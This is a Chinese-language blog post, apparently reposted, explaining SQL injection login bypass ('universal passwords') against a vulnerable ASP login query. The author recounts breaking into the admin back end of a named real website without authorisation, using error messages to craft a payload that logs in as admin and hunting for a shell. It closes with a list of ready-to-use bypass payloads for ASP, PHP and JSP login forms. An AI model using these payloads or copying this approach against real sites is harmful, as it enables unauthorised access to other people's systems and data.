zoukankan      html  css  js  c++  java
  • 网站登录的破解



    <%
    pwd = request.form("password") //获取用户登录的密码并赋值给pwd

    user = request.form("username") //获取后台登陆的用户名并赋值给user

    Set RS = Server.CreateObject("ADODB.Connection") //连接数据库

    sql = "select * from admin where UserName='" & user &"' and PassWord='" & pwd & "'" //查询数据库

    ........

    后面就不用写了!

    我们来看看漏洞产生的原因!

    比如,在登录后台时我们第一次输入:admin/admin888,那么在check.asp中(假设没有md5加密):

    user=admin,pwd=admin888

    然后查询:select * from admin where UserName = 'admin' and PassWord = 'admin888'

    如果数据库admin表的UserName字段存在admin这个记录,并且相应字段PassWord存在admin888,那么,登录成功,然后设置用户的session!

    但是,用万能密码'or'='or'/'or'='or'登录呢?

    user='or'='or' pwd='or'='or'

    查询语句为:select * from admin where UserName = '' or '=' or '' and PassWord = '' or '=' or ''

    (为了条理性,我多加了一个空格进去)

    这句的意思是:查询数据库中(用户名为空或者空等于空(这句是正确的哦))并且 (密码为空或者空等于空(也是正确的))

    可以看到用户名部分用or(或者)连接,结果是true;同样,密码部分也是返回true,那么再用and连接,当然也是true,所以就能够绕过去了!

    这就是原理主要部分!>_<

    当然,万能密码还有很多种,这里就不说了!

    但是,灵活运用才是最重要!

    看一个实际的例子!

    前几天看了一个站(http://www.czdh.com.cn/manage/login.asp),可以用万能密码'or'='or'登录,而且后台有数据库备份,但是,可惜的是没有权限,怪哉!

    一般而言,'or'='or'登录的都是admin身份,而这个居然只是一个普通的管理员!

    呵呵,其实没有什么的!如我们刚才所说,万能密码如果能够正确,那么它查询的时候也因该有一个先后顺序的吧,从第一个记录开始查!由于始终正确,那么他会返回第一个记录,对吧?

    不幸的是,这个管理员表中,第一条记录就是一个普通管理员!

    呵呵,杯具!

    权限真是小啊!上传权限好像都没有的,杯具了! 当然,思路还是有的!

    比如:如果有注入点,可以得到管理员的用户名和密码(md5加密,再加点难度,不能被破解),然后用万能密码登陆后台,然后修改cookie,呵呵!不用说,是可以欺骗成功的!

    肯定的原因:抓包分析得出的!

    又杯具的是:没有找到注入点!

    那么,好像没有办法了!

    呵呵!

    我一直在想,怎么才能用万能密码登陆成功,并且身份是admin

    我用户名和密码都输入:admin'or'='

    报错,如下:

    语法错误 (操作符丢失) 在查询表达式 'adminname='admin'or'='' and adminpass='915c991fe2863ae671cb4f5066dad485'' 中

    嘿嘿,这下子可好了!

    虽然只是语法错误而已,但是,给我们提供了一个思路!

    注意看报错内容,在此就不再分析了!我们猜想,如果有admin这个用户,那么我们构造一个正确的语句,那么,是不是就可以以admin身份登陆呢?

    呵呵,果然如此!

    用户名和密码都是:admin'or'1

    嘿嘿~!登陆成功,用户是admin了!

    呵呵!灵活运用才是关键!

    当然,通过刚才的想法!很明显:我们可以构造一个任何存在的用户,并且,可以成功登陆!

    看了一下,shell其实也并不好拿!嘿嘿!

    参考网址:http://www.douban.com/note/148789639/

    asp aspx万能密码

      1: "or "a"="a
       2: ')or('a'='a
       3:or 1=1--
       4:'or 1=1--
       5:a'or' 1=1--
       6: "or 1=1--
       7:'or'a'='a
       8: "or"="a'='a
       9:'or''='
       10:'or'='or'
       11: 1 or '1'='1'=1
       12: 1 or '1'='1' or 1=1
       13: 'OR 1=1%00
       14: "or 1=1%00
       15: 'xor
       16: 新型万能登陆密码

       用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
       密码 1
       Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
       Password=1

       17..admin' or 'a'='a 密码随便


       PHP万能密码

       'or'='or'
      
       'or 1=1/* 字符型 GPC是否开都可以使用

       User: something
       Pass: ' OR '1'='1

       jsp 万能密码

       1'or'1'='1

       admin' OR 1=1/*
     
       用户名:admin 系统存在这个用户的时候 才用得上
       密码:1'or'1'='1

  • 相关阅读:
    五秒自动刷新页面
    浅析MySQL中exists与in的使用 (写的非常好)
    基于shiro授权过程
    shiro认证
    jsp中<c:if>与<s:if>的区别
    链表数据结构相关
    队列Queue中add()和offer()的区别?
    Java中有几种线程池?
    解决idea使用jstl标签报错和不自动提示
    事务
  • 原文地址:https://www.cnblogs.com/jack-Star/p/3933983.html
Copyright © 2011-2022 走看看